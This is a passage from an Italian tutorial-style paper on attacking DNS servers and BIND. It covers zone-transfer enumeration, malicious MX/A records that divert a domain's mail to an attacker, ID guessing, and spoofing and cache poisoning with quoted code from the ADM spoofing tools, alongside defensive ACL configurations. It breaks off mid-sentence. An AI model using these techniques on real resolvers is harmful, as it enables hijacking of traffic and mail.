| AFSDB 18 AFS Data Base locatio n [RFC1183] |
| X25 19 indirizzi X.25 PSDN [RFC1183] |
| ISDN 20 per indirizzi ISDN [RFC1183] |
| RT 21 per Route Through [RFC1183] |
| NSAP 22 indirizzi NSAP [RFC1706] |
| NSAP-PTR 23 NSAP pointer |
| SIG 24 eventuale security signature [RFC2065] |
| KEY 25 security key [RFC2065] |
| PX 26 informazioni di mail mapping su X.400 [RFC2163] |
| GPOS 27 posizione geografica [RFC1712] |
| AAAA 28 indirizzo IPV6 (al posto di AA) [Thomson] |
| LOC 29 informazioni localita' [Vixie] |
| NXT 30 next Domain [RFC2065] |
| EID 31 Identificatore Endpoint [Patton] |
| NIMLOC 32 Nimrod Locator [Patton] |
| SRV 33 Server Selection [RFC2052] |
| ATMA 34 Indirizzo ATM [Dobrowski] |
| NAPTR 35 Naming Authority Pointer [RFC2168] |
| KX 36 Key Exchanger [RFC2230] |
| CERT 37 CERT [Eastlake] |
| TKEY 249 TKEY [Eastlake] |
| TSIG 250 Signature transazioni [Vixie] |
| IXFR 251 Trasferimento incrementale [RFC1995] |
| AXFR 252 trasferimento di zona [RFC1035] |
| MAILB 253 mailbox-related RRs (MB, MG o MR) [RFC1035] |
| MAILA 254 mail agent RRs(deprecato a favore MX)[RFC1035] |
| * 255 richiesta di tutti i RR (come ANY) [RFC1035] |
| |
| Gli OPCODE sono i seguenti: |
| |
| OpCode Name Referimenti |
| ------ ---- ---------- |
| 0 Query [RFC1035] |
| 1 IQuery [RFC1035] |
| 2 Status [RFC1035] |
| 3 reserved [IANA] |
| 4 Notify [RFC1996] |
| 5 Update [Vixie] |
| |
| GLI RCODE sono : |
| |
| RCode Name Riferimenti |
| ------ ---- ---------- |
| 0 NoError No Error [RFC1035] |
| 1 FormErr Format Error [RFC1035] |
| 2 ServFail Server Failure [RFC1035] |
| 3 NXDomain Non-Existent Domain [RFC1035] |
| 4 NotImp Not Implemented [RFC1035] |
| 5 Refused Query Refused [RFC1035] |
| 6 YXDomain Name Exists when it should not [RFC2136] |
| 7 YXRRSet RR Set Exists when it should not [RFC2136] |
| 8 NXRRSet RR Set that should exist does not [RFC2136] |
| 9 NotAuth Server Not Authoritative for zone [RFC2136] |
| 10 NotZone Name not contained in zone [RFC2136] |
| |
| |
| 0x06 => Tipologia di attacchi ai server dns: |
| |
| I server dns sono tra i server piu presi di mira dagli attacker di |
| skill medio fino ai piu' skillati, in quanto permettono senza |
| particolari difficolta' di fare molte cosette a volte anche di una |
| certa importanza e pericolosita'. |
| |
| Si pensi ad una societa' di e-commerce famosa alla quale venisse |
| rediretto tutto il traffico in ingresso verso un'altra destinazione. |
| I danni a livello economico e di immagine sarebbero elevati! |
| La prima redirezione dovuta ad un'attacco di dns-poisoning fu ad |
| un societa' famosa...: www.internic.net, il quale traffico venne |
| rediretto verso www.alternic.net ad opera dell'hacker E. Kaspureff. |
| |
| Occupandoci prevalentmente del daemon Bind,essendo il piu' presente |
| in rete ed uno dei migliori se ben gestito, diamo una occhiata alle |
| diverse versioni principali in modo da sapere se e' possibile |
| effettuare/ricevere un attacco e di che tipo. |
| |
| Le principali versioni di Bind sono: |
| |
| Bind 4.x |
| Considerata da molti la vera versione di Bind, e' ancora molto |
| presente in rete. Il codice e' stato sottoposto ad audit maggiore |
| rispetto alle altre versioni anche se non e' da considerarsi il |
| massimo della funzionalita'. Le ultime versioni contengono le |
| stesse patch della 8.x, ma il suo sviluppo e' ormai cessato. |
| Le versioni antecedenti la 4.9.6 e 4.9.6-p1 hanno il problema |
| di non verificare i record aggiunti nelle response dagli altri |
| name server (campo Additional Data). |
| Cosi' le info aggiuntive vengono inserite direttamente nella cache |
| in quanto ritenute utili. |
| |
| - Bind 8.x |
| Successore di 4.x apporta notevoli implementazioni comode ed utili |
| che, come sempre, in poco tempo hanno mostrato l'altro lato della |
| medaglia mostrando diversi problemi. Cio' vale per tutti i sistemi |
| che cercano in tutti i modi di diventare user-friendly..troppo. |
| (Ogni riferimenti a Windoze e' puramente casuale.. :) |
| Questa versione supporta diverse opzioni di configurazione, |
| access list support,/etc/named.boot e' switchato a /etc/named.conf, |
| supporto dell'utilissimo ma altrettanto pericoloso DDns (Dynamic |
| dns) che permette aggiornamenti run.time tramite particolari packets, |
| ipv6 compliant, possibilita' di chrootarlo o chroot-jailarlo :=) etc. |
| Il sig. Theo Derat di openBSD e il suo team considerano il suo codice |
| troppo compplesso per essere analizzato bene, quindi ne sconsigliano |
| l'utilizzo. In ogno caso e' anch'esso uno dei piu' presenti in rete. |
| Le versioni antecedenti la 8.1.1 e 8.1.1-p1, oltre ad essere buggati |
| come la 4.x riguardo l'aggiunta di record nel campo Additional e a |
| presentare problemi di zone transfer se non posta in deny tramite le |
| apposite acl che vedremo piu' avanti nel paper, presenta problemi di |
| buffer overflow che, nel caso in cui sia in run come root... |
| |
| - Bind 9.x |
| L'ultima versione di Bind,ancora giovane e quindi poco usata sia per |
| motivi di "non c'ho voglia di fare l'upgrade, mi va bene cosi'", sia |
| per problemi di sicurezza che portano a deprecare l'uso di versioni |
| troppo nuove perche' sempre con qualche problema.. |
| Il codice e' stato praticamente riscritto, rimodellata l'architettura |
| per migliorarne la manutenzione, anche se sembra non aver migliorato |
| la leggibilita'.Questa versione ha le identiche feature della 8.x con |
| in aggiunta il supporto alle "dns-window" (che permettono di mostrare |
| differenti parti del dns a client diversi) e il supporto ai database, |
| nonche' altre migliorie di routine ai protocolli. |
| Qualche versione non ha ancora risolto il problema di alcuni bug tra |
| cui quelli visti sopra, che nella maggior parte delle volte cmq sono |
| da attribuirsi alla "malagestione" da parte del sysadmin. |
| Qualcuno diceva:"Non ci son cattivi soldati,solo cattivi superiori".. |
| Di Bind 9.x e' stata scoperta ultimamente una vulnerabilita' che |
| consente di portare a termine un buffer overflow ed eseguire quindi |
| nella maggioranza dei casi codice arbitrario (vedremo dopo). |
| |
| Ricordo per chi non ha domestichezza con i tools *nix etc.. che per |
| avere la versione di un server dns occorre eseguire il seguente |
| comando: |
| |
| $ dig -t txt -c chaos VERSION.BIND @server_dns |
| |
| Ora vedremo le diverse metodologie di attacco possibili ai dns, quindi |
| mi concentrero' su quello per il quale sto scrivendo questa paper. |
| |
| -sub_A() DNS footprinting: { |
| |
| Anche se non e' da considerarsi una tipologia di attacco e' sempre un |
| modo che l'attacker ha per estorcere informazioni utili da un server |
| DNS riguardo sotto-sistemi e configurazioni varie. |
| Qui ci ci avvarremo di due tools compresi di default in ogni linux |
| distro: `host` e `nslookup`. |
| |
| Intanto nel terz'ultimo paragrafo "DNS parameters" troverete appunto |
| la lista dei diversi parametri dello standard del protocollo dns che |
| comunque spero siano conosciuti (almeno i piu' utili). |
|
|
| Metodi di raccolta di informazioni possono essere: |
| |
| $ nslookup www.sikurezza.org |
| server: tin.it |
| Address: 193.70.192.25 |
| |
| Non-authoritative answer |
| www.sikurezza.org canonical name = sikurezza.org. |
| |
| Name: www.sikurezza.org |
| Address: 151.8.1.46 |
| |
| Il tool nslookup viene considerato deprecato in quanto esistono altri |
| tools specifici di gestione dns, ma risulta sempre comodo e valido. |
| |
| $ host www.sikurezza.org |
| www.sikurezza.org. in an alias for sikurezza.org |
| sikurezza.org has address 151.8.1.46 |
| |
| Altre informazioni possono essere richieste settando come class type |
| il valore ANY (255): |
| |
| $ host -t ANY sikurezza.org |
| sikurezza.org. mail is handles by 10 sikurezza.org. |
| sikurezza.org. has address 151.8.1.46 |
| sikurezza.org. name server ns1.sikurezza.org. |
| sikurezza.org. name server ns2.sikurezza,org. |
| |
| Le info sopra riportate sono nella normalita' di una query.. i tipi |
| che non andrebbero settati in quanto non necessari e probabilmente |
| pericolosi sono HINFO e TXT, ed a volte anche RP. |
| |
| }; |
| |
| -sub_B() DNS zone transfer: { |
| |
| Una della grandi feature del protocollo dns e di Bind e' la |
| possibilita' di gestione della ridondanza tra server dns. |
| Come si sa, normalmente per ciascun dominio esiste un sistema |
| per la gestione del DNS primario; tutti gli altri sono secondari |
| e trasferiscono la zona DNS in caso di modifiche, e sono detti |
| server "slave". Per configurare un sistema come slave basta |
| inserire in /etc/named.conf (o /etc/named.boot se con bind 4.x) |
| cio' che segue: |
| |
| zone "pippo.com" { |
| type slave; file "slave_pippo.com"; |
| masters { ip_dns_master; }; |
| }; |
| |
| Questa sopra e' una tipica configurazione base, quindi non sicura. |
| Tant'e' che in caso di questa configurazione un attacker puo' |
| facilmente effettuare un trasferimento di zona senza neanche |
| montare un server Bind cercando di farlo passare come parte di |
| quella rete. |
| |
| $ host -t NS pippo.com |
| pippo.com. name server ns1.pippo.com |
| pippo.com. name server ns2.pippo.com |
| |
| $ host -l pippo.com ns1.pippo.com |
| pippo.com. name server ns1.pippo.com |
| pippo.com. name server ns2.pippo.com |
| www.pippo.com has address 192.168.1.1 |
| mail.pippo.com has address 192.168.1.2 |
| mailbk.pippo.com has address 192.168.2.2 |
| 192.168.1.1.pippo.com domain name pointer mail.pippo.com |
| ftp_anon.pippo.com has address 192.168.1.3 |
| |
| Chiaramente e' corretto lasciare la possibilita' ai dns secondari di |
| trasferire la zona aggiornando i relativi database. Ma e' anche certo |
| che per la nostra sicurezza non e' corretto lasciare che chiunque lo |
| faccia vedendo tutti i nostri indirizzi interni. Ad uopo soggiunge |
| una configurazione atta a non permettere il trasferimento di zona "to |
| anyone", facilmente intuibile grazie ai vari man di bind. |
| E' addirittura possibile impostare voci globali e quando necessario |
| sottovoci specifiche. Vediamo come: |
| |
| options { |
| ..snip.. |
| allow-transfer { ip_auth_1; }; |
| }; |
| |
| zone "pippo.com" { |
| type master; |
| file "master_pippo.com"; |
| allow-transfer { ip_auth_2; ip_auth_3;}; |
| }; |
| |
| zone "pippo.org" { |
| type master; |
| file "master_pippo.org"; |
| }; |
| |
| zone "pippo.edu" { |
| type slave; |
| masters { ip_masters; }; |
| file "slave_pippo.edu"; |
| allow-transfer { none; }; |
| }; |
| |
| Con la precedente configurazione permettiamo: |
| |
| - pippo.org puo' effettuare un AXFR solo da ip_auth_1,date le globali. |
| - pippo.com puo' effettuare un AXFR solo da ip_auth_2 e ip_auth_3. |
| - pippo.edu NON effettuera' trasferimenti da nessuno. |
| |
| Nel caso un attacker chiedesse un AFXR illecito syslogd loggera' |
| tutto: |
| |
| named[pid]: unapproved AFXR from [ip_attkr].port for "pippo.com" (acl) |
| named[pid]: unapproved AFXR from [ip_attkr].port for "pippo.org" (acl) |
| |
| }; |
| |
| -sub_C() DNS Denial of Service: { |
| |
| Ed eccoci arrivati al punto Denial of Service.. con i server DNS |
| i DoS sono implementati principalmente in due modi: |
| - buffer overflow e dintorni |
| - ridirezioni nulle |
| |
| Sono molti, la maggior parte, gli exploit che sfruttano un buffer |
| overflow per ritornare una sh# o per eseguire un comando come root |
| o ancora per provocare un Denial of Service. Questo perche' non si |
| basano su errori della macchina, bensi' sugli errori dell'uomo |
| tradotti in coding errato e/o pericoloso, a volte per semplificare |
| alcune operazioni o per ridurre le linee di codice..a volte per |
| le troppe linee di codice che poi risultano difficili da anlizzare. |
| |
| In Bind sono stati trovati buffer overflow per ogni versione |
| principale ma, essendo facilmente approfondibili in rete sui siti |
| opportuni qui non ne parleremo. |
| Diro' qualcosa invece su un problema di BO riscontrato nelle ultime |
| versione di Bind antecedenti la 9.2.1. |
| |
| Questo problema risale a qualke giorno fa,precisamente al 04.06.2002 |
| data CERT. |
| Sono stati riscontrati vulnerabili 139 server su 1000 in USA (dati |
| Men & Mice) che "vestivano" la versione 9.x (ancora pochi). |
| Di questo bug non sono vulnerabili le versioni 4.x e 8.x. |
| Il bug consente ad un attacker di mandare in shutdown un server Bind |
| inviando un pacchetto specifico designato per far scattare un check |
| di consistenza interno. In ogni caso questo bug non consente di |
| eseguire codice o altro, ma solo di causare un down. |
| |
| Il problema che causa lo shutdown di Bind sovviene quando il parametro |
| "rdataset" della dns_message_findtype() contenuta in message.c non e' |
| NULL come atteso. La condizione fa si che il codice invii un error |
| message e chiami la abort(). |
| |
| Purtroppo i DNS configurati male che consentono attacchi di ogni tipo |
| sono ancora molti; vediamo una statistica effettuata da M : |
| |
| Aziende USA con almeno 1 Bind vulnerabile (v.8.2.x prima di v.8.2.3) |
| 01/30/01 33.30% |
| 02/07/01 17.40% |
| 02/13/01 13.80% |
| 02/21/01 12.40% |
| 03/28/01 9.98% |
| |
| Per i server autoritativi al TLD .com : |
| 31 Jan '01 5500 40.27% |
| 07 Feb '01 2200 16.73% |
| 14 Feb '01 5000 11.77% |
| 21 Feb '01 5500 13.10% |
| 28 Mar '01 2000 10.30% |
| |
| Come accennato prima, un altro problema che puo' portare ad un Dos |
| sono le ridirezioni nulle. |
| Si pensi ad esempio se per un portale importante come, ad esempio, |
| www.amazon.com si cambiasse la mappatura: |
| |
| amazon.com. IN A 207.171.83.16 |
| www IN CNAME amazon.com. |
| |
| con la mappatura: |
| |
| amazon.com. IN A ip_fittizio,nullo,o proprio |
| www IN CNAME amazon.com. |
| |
| oppure la mappatura: |
| |
| amazon.com. IN A 207.171.83.16 |
| mail IN CNAME amazon.com. |
| amazon.com. IN MX 10 amazon.com. |
| |
| |
| con la piu' pericolosa ai fini della privacy e non solo: |
| |
| amazon.com. IN A ip_attacker |
| mail IN CNAME amazon.com. |
| amazon.com. IN MX 10 amazon.com. |
| |
| |
| E' facile intuire che in questo modo tutte le mail inviate agli |
| appartenenti al dominio @amazon.com verrebbero inviate all'attacker |
| causando non pochi problemi di provacy, sicurezza etc. etc... |
| Volendo dirla tutta l'attacker potrebbe benissimo non essere scoperto |
| in breve tempo se approntasse con qualche riga di C un mail forwarder |
| che riceva le mail, ne faccia una copia, e le forwardi al vero ip |
| di amazon.com ... |
| Le cose fattibili con i server DNS sono limitate solo dalla fantasia.. |
| |
| }; |
| |
| -sub_D() DNS ID guessing: { |
| |
| Per ID guessing si intende la predizione dell'ID che contrassegna |
| una coppiata query/response, atta a stabilire una relazione tra di |
| essa e quindi evitare di utilizzare una response errata per una query |
| corretta. E' usata anche come sicurezza in quanto se un attacker |
| dovesse inviare una response a caso con i dati dell'attacco, questi |
| verrebbero ignorati per la mancata corrispondenza dell'ID. |
| Quindi preventivamente ad un attacco di dns spoofing/poisoning viene |
| spesso usata questa tecnica.La sintassi e' la medesima dell'ID guessing |
| (o ID prediction) dei pacchetti TCP al fine di portare a termine un |
| attacco di session hijacking o di man in the middle. |
| Nel caso del DNS ID guessing la cosa e' piu' semplice, ma non sempre. |
| Normalmente (di default, e quindi per la maggior parte dei server) il |
| cambio dell'ID di un pacchetto dns avviene incrementalmente dal primo |
| inviato in avanti, quindi la prima query avra' (ad esempio) ID 1, la |
| seconda ID 2 etc...fino a raggiungere 65536, ovvero 16 bit (unsigned |
| short), per poi reiniziare il tour. |
| Il problema sorge nel momento in cui l'admin decide di hardenizzare |
| intelligentemente il server per evitarsi problemi. |
| Tre modi di evitare l'ID guessing sono: |
| - l'adozione della patch dello SNI che permette di randomizzare l'ID; |
| - l'adozione di DNSSec; |
| - l'adozione della patch dello SNI che permette di randomizzare l'ID; |
| - l'adozione di DNSSec; |
| - l'adozione di Bind 9.x che adotta la randomizzazione di default. |
| |
| Per controllare se un server e' vulnerabile basta inviare delle query |
| al server target (supponendo che il data flow sia sul proprio segmento |
| di rete) ed analizzare le query in uscita da esso per vedere se sono |
| predicibili. |
| |
| Le metodologie di predizione dell'ID sono sostanzialmente due, scelte |
| a seconda che l'attacker abbia o no una shell root su un server dns |
| autoritativo per la zona interessata (quindi per tizio.caio.edu avere |
| root su caio.edu, il SLD). |
| |
| Supponiamo di avere una shell # sul dns server ns.medium.org che e' |
| autoritativo per il SLD medium.org e di voler probare il dns server |
| ns.vittima.edu (autoritativo per il SLD vittima.edu) per carpire se |
| e' o no vulnerabile all'ID guessing. |
| Quando usiamo il tool `nslookup' o 'host', il programma invia delle |
| query al server di default (/etc/resolv.conf) con il bit RD (recursion |
| desired) settato a 1. Il server di default inviera' quindi le query di |
| risoluzione per noi e ci ritornera' la risposta una volta trovata, |
| supponendo che non l'abbia gia in cache. |
| Se l'avesse in cache saremmo gia scremati in partenza in quanto non ci |
| permetterebbe di vedere i pacchetti in uscita. |
| Per questo motivo il comando corretto per iniziare l'ID guessing ad |
| alto livello e': |
| |
| attacker]$ nslookup host.medium.org ns.vittima.edu |
| |
| che ci permette di indicare al nostro resolver quale server usare per |
| iniziare una risoluzione ricorsiva. |
| In questo caso ns.vittima.edu inviera' per l'attacker una query a |
| ns.medium.org (che l'attacker ha in possesso) chiedendo di risolvere |
| un record A (type 1) per host.medium.org. L'attacker, essendo sulla |
| macchina (o sullo stesso segmento di rete) di medium.org, puo' |
| semplicemente attivare tcpdump per vedere l'ID del pacchetto ed altre |
| flags utili. Il formato di dump di tcpdump per le query DNS e': |
| |
| src > dst: id op? flags qtype qclass name (len) |
| es. ns.vittima.edu.1538 > ns.medium.org.53: 3+ A? host.medium.org. (33) |
| |
| La sua interpretazione e': |
| from : ns.vittima.edu |
| sport: 1538 |
| to : ns.medium.org |
| dport: 53 |
| ID : 3 |
| type : A |
| host : host.medium.org |
| size : 33bytes |
| |
| La flag '+' dopo l'ID number indica il bit RD (recursion desired). |
| [ man tcpdump ] |
| |
| Supponiamo quindi di inviare piu' query consecutive,e di fare lo stesso |
| dal lato server compromesso e di avere questa situazione: |
| |
| ns.vittima.edu.1538 > ns.medium.org.53: 3+ A? host.medium.org. (33) |
| ns.vittima.edu.1539 > ns.medium.org.53: 4+ A? host.medium.org. (33) |
| ns.vittima.edu.1540 > ns.medium.org.53: 5+ A? host.medium.org. (33) |
| ns.vittima.edu.1541 > ns.medium.org.53: 6+ A? host.medium.org. (33) |
| ns.vittima.edu.1542 > ns.medium.org.53: 7+ A? host.medium.org. (33) |
| ns.vittima.edu.1543 > ns.medium.org.53: 8+ A? host.medium.org. (33) |
| ns.vittima.edu.1544 > ns.medium.org.53: 9+ A? host.medium.org. (33) |
| ns.vittima.edu.1545 > ns.medium.org.53: 10+ A? host.medium.org. (33) |
| ns.vittima.edu.1546 > ns.medium.org.53: 11+ A? host.medium.org. (33) |
| |
| E' facile capire come per questo server sia facilmente predicibile l'ID |
| da allegare ad una possibile response falsa con i dati che vorremmo |
| aggiungere in cache. |
| In una rete local basterebbe semplicemente rispondere subito alla query |
| prima del vero server utilizzando lo stesso ID e IP spoofato. |
| Ma cio' lo vedremo nei prossimi capitoli. |
| |
| Nel caso invece di : |
| |
| ns.vittima.edu.1538 > ns.medium.org.53: 22+ A? host.medium.org. (33) |
| ns.vittima.edu.1539 > ns.medium.org.53: 3+ A? host.medium.org. (33) |
| ns.vittima.edu.1540 > ns.medium.org.53: 253+ A? host.medium.org. (33) |
| ns.vittima.edu.1541 > ns.medium.org.53: 1828+ A? host.medium.org. (33) |
| ns.vittima.edu.1542 > ns.medium.org.53: 213+ A? host.medium.org. (33) |
| ns.vittima.edu.1543 > ns.medium.org.53: 99+ A? host.medium.org. (33) |
| |
| sarebbe molto piu' complicato in quanto il server ns.vittima.edu sta |
| probabilmente usando la patch dello SNI o Bind 9.x (basta chiedere |
| un BIND.VERSION e se non e' 9.x significa che sta usando la patch). |
| |
| A basso livello un programma che si occupa di questo (a dire il vero |
| implementa anche il poisoning) e', ad esempio, ADMsnOOfID di shok(ADM). |
| |
| ADMsnOOfID usage: |
| ADMsnOOfID <device to spoof> <NS victim> <your domain> <ip of your dns> |
| <type (1,12)> <spoof name> <spoof ip> <ns with auth on spoof ip/name> |
| |
| Questa routine e' creata tramite invio di un pacchetto in questo modo: |
| |
| <---from ADMsnOOfID.c---thanks to shok-;)---> |
| |
| /* make the question for get the ID */ |
| |
| sprintf(namefake,"%d%d%d.%s",myrand(),myrand(),myrand(),argv[3]); |
| dnssend->id = 2600; |
| dnssend->qr = 0; |
| dnssend->rd = 1; |
| dnssend->aa = 0; |
| dnssend->que_num = htons(1); |
| dnssend->rep_num = htons(0); |
| i = makepaketQS(data2,namefake,TYPE_A); |
| udp_send(sraw, s_ipns, d_ip,2600+con, 53, buffer2, DNSHDRSIZE+i); |
| |
| <---EoF--> |
| |
| la prima sprintf() crea un fakename di host tramite una implementazione |
| della rand() con base il SLD in possesso dell'attacker. |
| A questo punto riempie i campi dell'header dns con rd=1, crea il campo |
| questions data del pacchetto con makepaketQS() sviluppata in ADMDNS.c |
| che sistema i campi a seconda che il type della query sia TYPE_A o |
| TYPE_PTR,quindi con la udp_send() contenuta in ADM-spoof.c costruisce |
| l'intero pacchetto aggiungendo header IP e UDP con IPPROTO_UDP e senda |
| tutto. Allo stesso tempo si attende la query di ritorno del server per |
| dumparne l'ID. |
| |
| la struct del pacchetto dns e' semplice ed e' la seguente: |
| |
| struct dnshdr { |
| unsigned short int id; |
| |
| unsigned char rd:1; /* recursion desired */ |
| unsigned char tc:1; /* truncated message */ |
| unsigned char aa:1; /* authoritive answer */ |
| unsigned char opcode:4; /* purpose of message */ |
| unsigned char qr:1; /* response flag */ |
| |
| unsigned char rcode:4; /* response code */ |
| unsigned char unused:2; /* unused bits */ |
| unsigned char pr:1; /* primary server required (non standard) */ |
| unsigned char ra:1; /* recursion available */ |
| |
| unsigned short int que_num; |
| unsigned short int rep_num; |
| unsigned short int num_rr; |
| unsigned short int num_rrsup; |
| }; |
| |
| Ora analizziamo pero' il caso in cui l'attacker non sia cosi' fortunato |
| da possedere una sh root su un dns autoritativo per un TLD. |
| |
| La metodologia utilizzata per far cio' e' una sorta di brute force di |
| response al server dns vittima per tentare di centrarne una. Si, non |
| e' un metodo elegante..per niente.. ma a volte riesce nel suo intento |
| senza sprecare troppa banda.. |
| |
| Un tool che fa questo e' ADMnOg00d, ancora del buon shok degli ADM. |
| |
| Usage: |
| ADMnoG00D <your ip> <dns trust> <domaine trust> <ip victim> <TYPE> |
| spoofname> <spoof ip> <ns.trust.for.the.spoof> [ID] |
| |
| L'attacker puo' comunque non difficilmente inviare qualke query al |
| server vittima per vedere all'incirca a che punto e' l'ID counter e |
| stare in quel range per le response. Questo tool e' definito dallo |
| stesso shok un "DNS ID brutal predictor" che lo descrive pienamente. |
| |
| Esempio di ritorno di query: |
| |
| ns.vittima.edu.1538 > hacker.31337.edu.53: 693+ A? host.medium.org.(33) |
| |
| In questo caso l'attacker usera' un ID, ad esempio, di 710 con valore |
| decrementale in modo da tentare il completamento dell'accoppiata |
| ID query/response. Tutto cio' tramite questo semplice loop: |
| |
| <--from--ADMnOg00d.c--> |
| |
| for(;loop >= ID-10 ;loop--){ |
| dns->id = htons(loop); |
| dns->qr = 1; |
| dns->rd = 1; |
| dns->aa = 1; |
| dns->que_num = htons(1); |
| dns->rep_num = htons(1); |
| |
| i=makepaketAW(data,fakename,SPOOFIP,TYPE_A); |
| udp_send(sraw,trust,d_ip2,53,53,buffer2,DNSHDRSIZE+i); |
| } |
| |
| <--EoF--> |
| |
| dove loop equivale al campo [ID] da noi inserito e corrispondente |
| ad argv[9]. Se non fosse immesso il tool partira' da 65535 (assai |
| menu funzionale ed assai brutale.. ). |
| |
| Ora che ho analizzato anche l'ID guessing, si puo' passare con balzo |
| deciso ai prossimi paragrafi che analizzano in dettaglio DNS spoofing |
| e DNS caching/poisoning. |
| |
| -sub_E() DNS Spoofing: { |
| |
| Il DNS spoofing e' l'aperitivo di un DNS caching/poisoning/hijacking |
| in quanto permette ad un host di figurare come un altro che potrebbe |
| avere relazioni di fiducia (trusted-hosts) con il server attaccato. |
| Nel testo non analizzero' lo spoofing in generale in quanto dovrebbe |
| essere una prerogativa di chi legge questo paper; si sappia solo che |
| la tipologia di spoofing che viene attuata con i DNS e' di tipo |
| blind-spoofing, ovvero spoofing cieco. |
| Poniamo di avere una shell # su di un server DNS autoritativo per un |
| dominio. Ponendo in essere l'attacco esposto nel paragrafo precedente |
| notiamo che la shell ci serve per trovare a che punto e' l'ID del |
| server sotto attacco per poi inviargli una response con lo stesso ID al |
| fine di renderla valida. |
| Spoofing sinteticamente significa appunto l'impersonificazione di un |
| host in un altro per vari fini. |
| Il DNS spoofing puo' essere attuato per diversi modi, ad esempio tra |
| i piu' utilizzati: |
| - zone transfer: supponendo di avere configurato un server DNS con ACL |
| di tipo allow-transfer tipo: |
| |
| zone "pippo.com" { |
| type master; |
| file "master_pippo.com"; |
| allow-transfer { 192.168.0.2;}; |
| }; |
| |
| tramite spoofing l'attacker con IP 31.3.3.7 in ascolto sullo stesso |
| segmento di rete puo' tranquillamente forzare una zone transfer e |
| intercettare la tabella delle zone della rete interna. Non e' molto |
| carino permettere ad un attacker di sapere la topologia interna degli |
| host e i loro nomi, anche perche' in molti casi il corrispettivo |
| logico dell'IP e' un nome mnemonico che descrive anche l'host e la |
| sua funzione all'interno della rete. Capiamo bene che se l'attacker |
| dovesse entrare in possesso ad esempio di queste informazioni: |
| |
| 192.168.0.25 IN PTR database.pippo.com. |
| fw.pippo.com. IN A 192.168.0.254 |
| 192.168.0.22 IN PTR ssh.pippo.com. |
| |
| saprebbe subito gli host da colpire e la loro posizione al'interno |
| della rete.. |
| |
| - caching/poisoning/updating: per il caching e il poisoning e' facile |
| intuire che se l'attacker riesce a venire a conoscenza del corretto |
| ID della query in uscita dal server che effettuera' la recursive |
| resolution, non ci vuole poi molto ad inviare una response con IP |
| sorgente identico a quello del server autoritativo per quel SLD |
| e cambiare informazioni o magari aggiungerne in modo da essere |
| ritenute valide dal server attaccato (sempre se i pacchetti arrivano |
| prima del server reale..). |
| Per l'updating, se ad esempio abbiamo configurato un DNS nel seguente |
| modo: |
| |
| zone "pippo.com" { |
| type master; |
| file "master_pippo.com"; |
| allow-update { 192.168.0.2;}; |
| }; |
| |
| e' semplice intuire a cosa possa servire in questo caso DNS spoofing. |
| |
| Nei prossimi due paragrafi andro' ad illustrare ed analizzare,in teoria |
| ed in pratica, come vengono effettuati i "sempreverdi" attacchi di |
| DNS caching/poisoning e di DDNS update spoofing, che sono il fulcro |
| ed il culmine del presente testo nonche' il core del progetto AmPaRo. |
| |
| }; |
| |
| -sub_F() DNS poisoning/caching: { |
| |
| Eccoci arrivati alla parte forse piu' interessante del presente testo, |
| assieme al prossimo ed ultimo paragrafo conclusivo del capitolo |
| riguardante l'analisi tipologica dei diversi tipi di attacchi ai server |
| DNS. I punti precedenti sono in definitiva i passi da eseguire ( ad |
| eccezione dell'attacco DoS) per raggiungere un obiettivo preciso,ovvero |
| per l'attuazione dell'attacco esposto nel presente paragrafo e nel |
| seguente. |
| |
| Per DNS poisoning/caching si intende l'inserimento/sostituzione di dati |
| falsi in un database/cache al fine di modificare la risoluzione di un |
| nome logico o di un IP address per diversi scopi (DoS, redirection..). |
| |
| Nei paragrafi precedenti ho analizzato i passi intermedi che vengono |
| compiuti da un attacker per finalizzare l'attacco;per ricordarlo questi |
| sono: |
| |
| - DNS footprinting |
| - DNS ID guessing |
| - DNS spoofing |
| |
| gli ultimi 2 passi, data la loro imminente sequenzialita', solitamente |
| sono raggruppati in un unico "big-step" e inseriti assieme in un unico |
| tool. |
| Sono usati diversi modi per effettuare questo attacco; io analizzero' |
| i 2 che ritengo migliori in quanto ad algoritmo ed efficienza in ordine |
| dal minore al migliore. |
| |
| Per spiegare il funzionamento dell'attacco in modo semplice e chiaro |
| (lo spero.. :P) mi avvarro' di "macro" sostitutive di hostname e ip. |
| |
| Topologia reti e macro preventive: |
| |
| DNS_VITTIMA=> x.x.x.1 -> ns.vittima.edu -> dns vittima |
| SER_VITTIMA=> x.x.x.x -> serv.vittima.edu -> servizio su vittima.edu |
| DOM_TRUST => x.x.x.2 -> trust.edu -> dominio di trust |
| DNS_TRUST => x.x.x.3 -> ns.trust.edu -> dns dominio di trust |
| SPOOF_TRUST=> x.x.x.4 -> ns.firm.com -> dns di trust per spoof |
| ATTACKER => x.x.x.5 -> ppp-110.libero.it-> attacker |
| SPOOFNAME => h4x0r.evil.com -> da inserire in cache |
| SPOOFIP => 31.3.3.7 -> da inserire in cache |
| FAKE_IP1 => 1.1.1.1 -> ip fake per richieste |
| FAKE_IP2 => 2.2.2.2 -> ip fake per richieste |
| FAKE_IP3 => 3.3.3.3 -> ip fake per richieste |
| RAND_TRUST => x.x.x.6 -> rand.trust.edu -> fakename random |
| |
| ### PRIMO METODO ### |
| |
| Un metodo di media validita' e' quello che puo' essere chiamato "DNS ID |
| brutal predictor" per la modalita' di inizio. |
| Questo metodo richiede solamente un sh# su di un host senza necessitare |
| di una sh # su un DNS autoritativo per un SLD. |
| Questo lo rende di gran lunga uno dei piu' utilizzati, soprattutto da |
| script-kiddye e vari, per compiere attacchi di DNS poisoning/caching. |
| Un tool che fa questo sporco lavoro e', ad esempio, ADMnOg00d di shok |
| degli ADM, che prenderemo come esempio per l'analisi dell'attacco. |
| |
| Nelle parti del sorgente originale,le variabili saranno sostituite da |
| macro predefinite precedentemente. |
| |
| L'attuazione di questo metodo poco ortodosso puo' essere riassunto |
| in 4 semplici passi principali: |
| |
| 1) Viene inviata una richiesta di risoluzione dell'hostname RAND_TRUST |
| al dns server vittima DNS_VITTIMA usando come indirizzo sorgente |
| FAKE_IP1.In questo modo DNS_VITTIMA iniziera' in modalita' ricorsiva |
| a cercare di risolvere il nome logico, arrivando a richiederlo a |
| DNS_TRUST. Ma se un fake DNS_TRUST inviasse risposte prima di quello |
| reale e riuscisse ad azzeccare il range dell'ID.... |
| |
| /* start source example */ |
| |
| sprintf(RAND_TRUST,"%i%i%i%i%i%i.%s", |
| myrand(), |
| myrand(), |
| myrand(), |
| myrand(), |
| myrand(), |
| myrand(), |
| DOM_TRUST); |
| |
| sendquestion(FAKE_IP1,DNS_VITTIMA,RAND_TRUST,TYPE_A); |
| |
| /* end source example */ |
| |
| 2) Per 10 volte da ID a diminuire vengono inviati pacchetti di response |
